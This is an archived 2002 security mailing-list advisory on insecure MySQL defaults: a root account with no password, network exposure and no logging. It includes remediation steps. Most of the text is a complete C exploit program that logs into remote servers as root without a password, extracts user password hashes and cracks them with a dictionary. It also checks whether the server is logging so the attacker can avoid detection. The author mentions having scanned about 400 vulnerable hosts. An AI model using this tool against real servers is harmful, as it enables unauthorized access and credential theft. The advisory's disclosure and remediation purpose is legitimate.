[NEWS] Weak MySQL Default Configuration
From: support@securiteam.comDate: 08/21/02
- Previous message: support@securiteam.com: "[NT] Tiny Personal Firewall 3.0 Denial of Service Vulnerabilities"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
From: support@securiteam.com To: list@securiteam.com Date: Wed, 21 Aug 2002 14:18:59 +0200 (CEST)
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -
Weak MySQL Default Configuration
------------------------------------------------------------------------
SUMMARY
<http://www.mysql.org/> MySQL is an open-source database produced by
MySQL AB. The default configuration for these binaries leave MySQL wide
opens to attack in a number of ways that will be illustrated below.
DETAILS
1) NULL root Password
MySQL allows user management via an in-database system table called
'mysql.user'. This table includes fields on the users' username, password,
and host. However, MySQL by default allows root login, from localhost and
any host, without password. Some users are unaware of this.
The problem is exacerbated by the fact that a large portion of MySQL users
learns MySQL through the PHP examples on www.php.net that show the user
and password argument of mysql_connect as optional. In addition, the MySQL
manual page ( <http://www.mysql.com/doc/en/Adding_users.html>
http://www.mysql.com/doc/en/Adding_users.html) on adding users never
mentions removing the default root/NULL users, even though it shows
starting the client with user root and no password. A quick method of
rectifying this is:
DELETE FROM mysql.user;
GRANT ALL PRIVILEGES ON *.* TO user@localhost IDENTIFIED BY 'password'
WITH GRANT OPTION;
2) Non-loopback-bound server
The majority of MySQL's users run their database server on the same host
as their web server. However, in MySQL's configuration file, the line
'bind-address=127.0.0.1' is commented out. A server bound to the loopback
interface would only be accessible on that host, removing the possibility
of remote logins, which most users do not need. However, because this line
is commented out, MySQL will be accessible to any remote host. Combined
with the default root/NULL login, this means that anyone can remotely
login as root, without a password, and have full rights to any database.
To enable binding to the loopback adapter, uncomment the bind-address line
in your my.ini.
3) No logging
Logging is a necessary part of any secure server software. However, MySQL
does not log at all on by default (Under Windows). This means that a MySQL
administrator would not be able to determine if his database had been
compromised, or if an individual was attempting to brute force a
user/password account. Logging can be enabled by adding these lines to
your my.ini:
log-long-format
log=/path/to/somewhere/log.txt
Exploit code:
In order to demonstrate the simplicity of such an attack, Mike has
included a program that connects to a host, logins as root/NULL, steals
the hashes, and displays them. The program takes about 5 seconds to
execute, and if the host is vulnerable, will show the hashes.
If you have a dictionary word list, put it in the same directory as
dictionary.txt and it will try to find a match to one of the words.
//mysql***.c
/*--||MySQL***||--*/
/*Written by g0thm0g*/
/*-----------------*/
/*Earlier this summer (at least where I live), I had a conversation with a
friend. It was one of those afternoons where you get an idea, and it kinda
sticks with you. Anyway, our conversation involved a couple questionsabout
INSERT's into a MySQL database. Eventually, I told him that I would do it
for him. I came over, sat down on his computer, and accidentally typed his
full IP address in. TO my surprise, the host still connected. Even worse,
root login wasn't passworded. I figured that he had mysql bound to
127.0.0.1, and that no real remote host could connect. However, later that
night after I had gone home, I got a phone call from the friend asking me
to do it again. Already on the computer (go figure d:), I pulled up bash
and typed in his IP. Right as I was about to ask him what his password
was, I noticed that MySQL hadn't even bothered to authenticate me. I "used
mysql" and then SELECT'ed user,password,host FROM user. To my horror, I
recieved:
+------+----------+-----------+
| user | password | host |
+------+----------+-----------+
| root | | localhost |
| root | | % |
| | | localhost |
| | | % |
+------+----------+-----------+
Not only was name-less login allowed, but root was without password on
localhost and remote. Anyway, to make a long story short, I did some
research, and found that default Windows MySQL configuration lacks logging
or authentication. I did some network scanning, and I think I have around
400 hosts with no root password. Anyway, to automate checking this, I
wrote this program up. It tries to login as root/NULL, then takes the
values of the user password hashes and tries to find a match to a
dictionary file called dictionary.txt.
If I had some cookies, I'd give them to:
-Tiefer and his relentless questioning and jokes about my sister
-Club 21, especially for Hard Attack
-DJ Doboy, can't forget trancequility volume 19
(INSERT STANDARD "NOT-TO-BE-USED-FOR-ILLEGAL-USE" CLAUSE HERE)
(INSERT STANDARD "I-HOLD-NO-LIABILITY" CLAUSE HERE)
Compile:
-MSVC= cl mysql***.c libmySQL.lib /DWIN32 -O2
-GCC= gcc -omysql*** mysql***.c -lmySQL -O2
-Cheers
g0th
*/
#include <stdio.h>
#ifdef WIN32
#include <windows.h>
#endif
#include <mysql.h>
/*_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*?
/*Crazy MySQL programmers and their short typedefs*/
/*-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*/
#ifndef ulong
#define ulong unsigned long
#endif
#ifndef uint
#define uint unsigned int
#endif
#ifndef uchar
#define uchar unsigned char
#endif
/*_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*?
/*##--####--####--####--####--####--####--####--##*/
/*-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*/
/*--------------------------------------------------------------*/
/*<<<<This section is ripped straight from the MySQL source.>>>>*/
/*I have this all nice and optimized in assembly on my end, but*/
/*writing cross-compiler inline is not too fun, and requring an*/
/*assembler is kinda frustrating.*/
/*--------------------------------------------------------------*/
void hash_password(ulong *result, const char *password)
{
register ulong nr=1345345333L, add=7, nr2=0x12345671L;
ulong tmp;
for (; *password ; password++)
{
if (*password == ' ' || *password == '\t')
continue; /* skipp space in password */
tmp= (ulong) (uchar) *password;
nr^= (((nr & 63)+add)*tmp)+ (nr << 8);
nr2+=(nr2 << 8) ^ nr;
add+=tmp;
}
result[0]=nr & 2147483647; /* Don't use sign bit (str2int) */;
result[1]=nr2 & 2147483647;
return;
}
void make_scrambled_password(char *to,const char *password)
{
ulong hash_res[2];
hash_password(hash_res,password);
sprintf(to,"%08lx%08lx",hash_res[0],hash_res[1]);
}
/*--------------------------------------------------------------*/
/*<<<<######################################################>>>>*/
/*--------------------------------------------------------------*/
/*%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*/
/*--------------------------------*/
/*<<<user struct to store data>>>>*/
/*--------------------------------*/
typedef struct
{
char *user;
char *password;
} user;
#define MAX_USERS 16
/*--------------------------------*/
/*<<<<########################>>>>*/
/*--------------------------------*/
//main - for "coherency's" (yes, i mean laziness) sake, i've kept this a
single function
int main (int argc, char** argv)
{
MYSQL * mysqlData; //--|-
MYSQL_RES * mysqlResult; //--|-MySQL Datatypes
MYSQL_ROW mysqlRow; //--|-
char *spHost; //--|
char *spUser="root"; //--|
char *spPassword=NULL; //--|-Our connection data
int spPort=3306; //--|
char *spServerVersion; //--|
int usernum=0; //--|
user *users[MAX_USERS]; //--|-User name/hash storage
data
FILE *fin, *fout; //--|
char *file_name; //--|-File I/O data
char *line=(char *)malloc(64); //--|
char *buff=(char *)malloc(64); //--|-Miscellaneous
buffers
int i=0; //--|Counter
//Warn about not meeting minimal arguments
if (2>argc)
{
fprintf (stderr, "usage: mysql*** host [-p<port>]");
return -1;
}
//Copy the first argument into the host buffer
spHost=(char *)malloc(sizeof(argv[1]));
strcpy (spHost, argv[1]);
//Copy port if the user specified
if (argv[2])
{
if (argv[2][1]=='p')
{
++argv[2];
++argv[2];
spPort=atoi(argv[2]);
printf ("port: %i\n", spPort);
}
}
//Initialize MySQL data and connect with root/NULL
mysqlData = (MYSQL *)malloc(sizeof(MYSQL));
mysql_init (mysqlData);
if (! mysql_real_connect (mysqlData, spHost, spUser, spPassword, "mysql",
spPort, NULL, 0) )
{
fprintf (stderr, "mysql_real_connect: %s\n", mysql_error (mysqlData));
return -1;
}
//If the server logs, inform the user!
printf ("server version: %s\n", mysql_get_server_info(mysqlData));
if (strstr (mysql_get_server_info (mysqlData), "log"))
{
printf ("Warning! Server is logging - Continue(*/n)?");
if (getchar()=='n')
{
mysql_close (mysqlData);
return -1;
}
}
//"Obtain" the hashes (notice i didn't use the word steal)
if ( mysql_query (mysqlData, "SELECT user,password FROM user") )
{
fprintf (stderr, "mysql_query: %s\n", mysql_error (mysqlData));
return -1;
}
//Store the result and process it
mysqlResult=mysql_store_result(mysqlData);
while (mysqlRow=mysql_fetch_row(mysqlResult))
{
if (strlen(mysqlRow[0])==0)
{
mysqlRow[0]="(NULL)";
}
if (strlen(mysqlRow[1])==0)
{
mysqlRow[1]="(NULL)";
}
users[usernum]=(user *)malloc(sizeof(user));
users[usernum]->user=(char *)malloc(strlen(mysqlRow[0])+1);
strcpy (users[usernum]->user, mysqlRow[0]);
users[usernum]->password=(char *)malloc(strlen(mysqlRow[1])+1);
strcpy (users[usernum]->password, mysqlRow[1]);
usernum++;
}
mysql_close (mysqlData);
//Setup putput file name string
file_name=(char *)malloc (sizeof(spHost)+4);
strcpy (file_name, spHost);
strcat (file_name, ".txt\0\0");
printf ("\n+----------------------------+\n");
printf ("<decrypting and dumping to %s>\n", file_name);
printf ("+----------------------------+\n");
fout=fopen (spHost, "w");
if (!fout)
{
fprintf (stderr, "Unable to open %s for password dumping\n", spHost);
return -1;
}
//Use a database to crack the hashes (optional)
fin=fopen ("dictionary.txt", "r");
if (!fin)
{
fprintf (stderr, "error opening dictionary.txt - no decryption will take
place\n");
for (i=0;i<usernum;i++)
{
printf ("%s::%s\n", users[i]->user, users[i]->password);
}
return -1;
}
//Loop through the user array and crack/output hashes
for (i=0;i<usernum;i++)
{
if (users[i]->user)
{
if (users[i]->password)
{
while ( (fgets (line, 63, fin)))
{
line[strlen(line)-1]='\0';
make_scrambled_password (buff, line);
if (strcmp (buff, users[i]->password)==0)
{
users[i]->password=line;
break;
}
}
fclose (fin);
fprintf (fout, "%s::%s\n", users[i]->user, users[i]->password);
printf ("%s::%s\n", users[i]->user, users[i]->password);
fflush (fout);
}
}
}
//Always clean up after yourself!
fclose (fout);
if (buff)
free (buff);
if (line)
free (line);
if (spHost)
free (spHost);
if (users)
free (users);
if (file_name)
free (file_name);
if (mysqlData)
free (mysqlData);
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:g0thm0g@attbi.com> Mike
Bommarito.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: support@securiteam.com: "[NT] Tiny Personal Firewall 3.0 Denial of Service Vulnerabilities"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
- mysql connect problems
... starting out with MySQL or MySQL-dependent packages run into this. ... Neither
of the two above-mentioned applications can connect to my ... # mysql -u root -p
... mysql database, and run 'select user, password, host from user;' I see ... (freebsd-questions) - Re: mysql problem
... a specific reason I used a root shell to start the MySQL client. ...
login, a sudo root login and as a non-root login. ... (Ubuntu) - Weak MySQL Default Configuration on Windows
... MySQL AB. ... NULL root Password: ... allows root login,
from localhost and any host, without ... (Bugtraq) - Re: mysql connect problems
... don't think you'll have an empty root password;) ... When I log into mysql
as root, ... > mysql database, and run 'select user, password, host from user;' I ...
Well, I have checked it as well, and I have just the root user on localhost ... (freebsd-questions) - Re: Connect to table on web
... My web host already has mysql running on a linux box. ... Yes it is possible
to connect to any sql server through the internet. ... Is your host on linux only
or it has windows server as well. ... (borland.public.delphi.thirdpartytools.general)